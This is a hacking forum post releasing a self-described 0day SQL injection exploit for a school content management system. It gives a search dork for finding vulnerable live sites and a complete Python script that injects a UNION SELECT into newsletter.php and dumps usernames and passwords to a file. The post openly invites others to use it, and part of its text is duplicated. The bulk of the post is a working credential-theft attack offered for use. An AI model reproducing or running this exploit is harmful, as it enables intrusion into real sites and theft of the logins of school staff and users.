Today I am very proud to release to you my first 0day. This will also be my 1000th post here on HF and I will shortly be getting upgraded to l33t. Thanks to all who've helped me learn so far; there will be more 0days to come!
The CMS isn't crazy popular but I found around 7 exploitable sites by just using a dork I made. Below are the details:
Here is the actual exploit I wrote. The script automatically injects the site for you and dumps the SchoolCMS usernames and password into dump.txt. It's written in python (inb4useperln00b) and the code might be a bit messy to you, but hey, it works! 🙂
None of that post + PM bullshit, LEECHERS GO WILD!
[img]http://img803.imageshack.us/img803/3429/f1be483ebd5d4a67aeb855e.png[/img]
Enjoy! ☜(˚▽˚)☞
The CMS isn't crazy popular but I found around 7 exploitable sites by just using a dork I made. Below are the details:
Code
#Title: SchoolCMS SQL Injection
#Date: 11/28/12
#Author: Dyme
#Vendor: www.poweritschools.com
#Google Dork: inurl:/old_core/newsletter.php
#Tested on: Windows 8, Ubuntu 12.04
The vulnerability was found in the newsletter.php script.Here is the actual exploit I wrote. The script automatically injects the site for you and dumps the SchoolCMS usernames and password into dump.txt. It's written in python (inb4useperln00b) and the code might be a bit messy to you, but hey, it works! 🙂
None of that post + PM bullshit, LEECHERS GO WILD!
Code
#!/usr/bin/python
import urllib2
import re
def get_sauce(site):
response = urllib2.urlopen(site)
page_source = response.read()
return page_source
def inject(site):
eqpos = site.find("=");
nsitelist = list(site)
nsitelist.insert(eqpos+1, "-")
nsite = ''.join(nsitelist)
dump = open('dump.txt', 'w')
limit = 0
syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
sauce = get_sauce(syntax)
while "Error : Unable to access the templates directory" in sauce:
syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
sauce = get_sauce(syntax)
if "Error : Unable to access the templates directory" in sauce:
r = re.findall(">(.+):(.+) ", sauce)[0]
print r[0] + ":" + r[1]
dump.write(r[0] + ":" + r[1] + "\n")
limit += 1
else:
print "###########################################"
print "#All logins successfully dumped #"
print "#Logins saved in username:password format #"
print "#Logins dumped to dump.txt #"
print "#Bye! #"
print "###########################################"
print " ______ "
print "|_ _ `. "
print " | | `. \ _ __ _ .--..--. .---. "
print " | | | |[ \ [ ][ `.-. .-. |/ /__\\ "
print " _| |_.' / \ '/ / | | | | | || \__., "
print "|______.'[\_: / [___||__||__]'.__.' "
print " \__.' "
print "######################################"
print "#Title: SchoolCMS SQL Injection #"
print "#Date: 11/28/12 #"
print "#Author: Dyme #"
print "#Vendor: www.poweritschools.com #"
print "#Tested on: Windows 8, Ubuntu 12.04 #"
print "######################################"
site = raw_input("Vulnerable link: ")
inject(site)[img]http://img803.imageshack.us/img803/3429/f1be483ebd5d4a67aeb855e.png[/img]
Enjoy! ☜(˚▽˚)☞


![[Image: LWpI0zO.png]](https://i.imgur.com/LWpI0zO.png)

